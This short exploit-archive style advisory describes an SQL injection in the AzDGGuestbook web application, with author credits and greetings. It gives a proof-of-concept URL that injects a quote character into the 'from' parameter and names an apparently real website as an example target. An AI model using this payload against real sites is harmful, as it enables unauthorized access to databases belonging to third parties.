AzDGGuestbook SQL Injection Vulnerability

AzDGGuestbook SQL Injection Vulnerability Credit : SpC-x | The-BeKiR Site : http://wWw.SaVSaK.CoM Greetz : | Nukedx | Ejder | Str0ke | joffer | Poizonb0x | Code : http://www.target.com/path/?l=default&from='-' Example : http://www.russianhelsinki.com/guestbook/?l=default&from='-' Error Message :...